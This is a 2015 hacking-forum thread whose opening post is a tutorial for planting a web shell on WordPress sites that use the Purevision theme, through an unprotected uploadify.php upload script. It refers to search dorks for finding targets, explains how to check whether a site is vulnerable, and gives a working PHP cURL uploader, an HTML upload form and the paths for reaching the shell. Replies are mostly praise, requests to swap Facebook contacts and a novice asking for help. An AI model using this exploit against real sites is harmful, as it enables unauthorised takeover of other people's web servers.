+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [~] [Shell Upload:] Wordpress Themes Purevision File Upload Vulnerability [~] (/showthread.php?tid=4996425)
Pages: Pages
1
2
[~] [Shell Upload:] Wordpress Themes Purevision File Upload Vulnerability [~] - ReDeX2587 - Sep 22, 2015
Greetings,
This would be a quick post 😉
Uploading Shell/File On Wordpress Website 🤣
This would be a quick post 😉
Uploading Shell/File On Wordpress Website 🤣
Intro:
Things Essential (Click to View)
Step One: Finding Website
Use The Following Dorks: (Click to View)
Step Two: Checking For Vulnerability
Check if the site is vulnerable
If the page appears To be blank after using the exploit the website is vulnerable
If the page appears To be blank after using the exploit the website is vulnerable
Code
wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php Step Three: Uploading Shell
Uploading via PHP
PHP Code
<?php
$uploadfile="shell.php";
$ch = curl_init("localhost/wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/themes/purevision/scripts/admin/uploadify/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>CSRF HTML
Code
<form
action="localhost/wp-content/themes/purevision/scripts/admin/uploadify/"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="Submit">
</form>Step Four: Shell Acess
Shell Access PHP : localhost/wp-content/themes/purevision/scripts/admin/uploadify/
Shell Access HTML : localhost/shell.php
END
Note:
Avoid Uploading php files from CSRF script Upload HTML files
Thats all 😉
Good Luck 👍
Peace ✌
* - Aakash_Choudhary - Sep 22, 2015
Again nice post dude. Are you in facebook ?
* - ReDeX2587 - Sep 22, 2015
(Sep 22, 2015 04:33 AM)Aakash_Choudhary Wrote: Again nice post dude. Are you in facebook ?
Bro M Already In Ur FrndList xD
* - Aakash_Choudhary - Sep 22, 2015
(Sep 22, 2015 04:45 AM)ReDeX2587 Wrote: Bro M Already In Ur FrndList xD
Ooh Really 👍
Message me once than 😝
* - jocker159 - Sep 22, 2015
how i know if the website hav this exploit
when i put wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php
some website write not found
but some page does'nt wirte anything just a withe page
:(
* - TheCaptainRoot - Sep 22, 2015
Good Effort, explain uploading shell in detail because i am Newbie, thanks..
* - ReDeX2587 - Sep 22, 2015
(Sep 22, 2015 06:35 AM)jocker159 Wrote: how i know if the website hav this exploit
when i put wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php
some website write not found
but some page does'nt wirte anything just a withe page
:(
Bro i already explained.....after injection if the page is blank its vulnerable
(Sep 22, 2015 06:47 AM)TheCaptainRoot Wrote: Good Effort, explain uploading shell in detail because i am Newbie, thanks..
Np buddie 😉
* - jocker159 - Sep 22, 2015
Yes bro i understand thanks but the seconde problem is when i find the vulnerable site i register code html and put the site
i register .html and i open it with firfoex and i see upload ... and i upload shell but when i click in submit i saw just blank page and i do localhost/shell.php nothing hapen
* - ๖ۣۜSyria - Sep 22, 2015
Thanks, i got a question got facebook or skype?
* - HaxOr❤ - Sep 22, 2015
What is your problem with big fonts? I mean really?
Nice share.
* - ReDeX2587 - Sep 23, 2015
(Sep 22, 2015 06:12 PM)HaxOr❤ Wrote: What is your problem with big fonts? I mean really?
Nice share.
I Like It That Way Bro :3 😏 btw Thnx ^_^
(Sep 22, 2015 05:03 PM)๖ۣۜSyriamanal Wrote: Thanks, i got a question got facebook or skype?
Firstly m really sorry for not answering ur pm......will add uh on fb asap :)
(Sep 22, 2015 02:22 PM)jocker159 Wrote: Yes bro i understand thanks but the seconde problem is when i find the vulnerable site i register code html and put the site
i register .html and i open it with firfoex and i see upload ... and i upload shell but when i click in submit i saw just blank page and i do localhost/shell.php nothing hapen
Pm me ur fb plz will get to uh asap
* - jocker159 - Sep 23, 2015
ReDeX2587
this is my facebook : facebook.com/MR.ELJO
please pm me or give me your facebook pleaseeeeee
* - ReDeX2587 - Sep 23, 2015
(Sep 23, 2015 03:44 AM)jocker159 Wrote: ReDeX2587
this is my facebook : facebook.com/MR.ELJO
please pm me or give me your facebook pleaseeeeee
Added ur bro
* - jocker159 - Sep 23, 2015
(Sep 23, 2015 04:01 AM)ReDeX2587 Wrote: Added ur bro
i write you come to facebook answer me
* - vendettalogzz - Sep 23, 2015
Nice post dude, even though you barely explain most of it